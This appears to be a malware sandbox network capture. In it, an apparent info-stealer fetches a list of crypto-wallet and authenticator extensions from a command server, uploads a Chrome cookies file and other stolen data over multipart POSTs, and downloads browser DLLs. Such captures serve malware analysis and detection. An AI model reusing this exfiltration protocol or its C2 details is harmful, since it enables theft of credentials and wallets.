59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 27, 2024 03:19:07.968014002 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 27, 2024 03:19:07.968045950 CEST	448	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 27, 2024 03:19:07.968079090 CEST	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Jul 27, 2024 03:19:07.972739935 CEST	1236	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmh
Jul 27, 2024 03:19:07.972899914 CEST	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Jul 27, 2024 03:19:07.972934961 CEST	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Jul 27, 2024 03:19:07.974684954 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDAECGDAFBAAAAAECGI Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 2d 2d 0d 0a Data Ascii: ------GIDAECGDAFBAAAAAECGIContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------GIDAECGDAFBAAAAAECGIContent-Disposition: form-data; name="message"fplugins------GIDAECGDAFBAAAAAECGI--
Jul 27, 2024 03:19:08.171118975 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 27, 2024 03:19:08.396940947 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIE Host: 85.28.47.31 Content-Length: 7979 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 03:19:08.396985054 CEST	7979	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 Data Ascii: ------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 27, 2024 03:19:08.969757080 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:19:09.207844019 CEST	90	OUT	GET /8405906461a5200c/sqlite3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 03:19:09.392770052 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 27, 2024 03:19:09.392792940 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 27, 2024 03:19:09.392807961 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 27, 2024 03:19:10.822603941 CEST	949	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGC Host: 85.28.47.31 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------FCGIJDBAFCBAAKECGDGC--
Jul 27, 2024 03:19:11.487709999 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:19:11.578577042 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJ Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="file"------KFCFBAAEHCFHJJKEHJKJ--
Jul 27, 2024 03:19:12.140969038 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:19:12.816976070 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAKEHIEBKJJJJJKKKE Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="file"------CFBAKEHIEBKJJJJJKKKE--
Jul 27, 2024 03:19:13.367207050 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:19:13.764900923 CEST	90	OUT	GET /8405906461a5200c/freebl3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 03:19:13.941576958 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 27, 2024 03:19:14.683522940 CEST	90	OUT	GET /8405906461a5200c/mozglue.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 03:19:14.861191034 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 27, 2024 03:19:15.259190083 CEST	91	OUT	GET /8405906461a5200c/msvcp140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 03:19:15.435854912 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 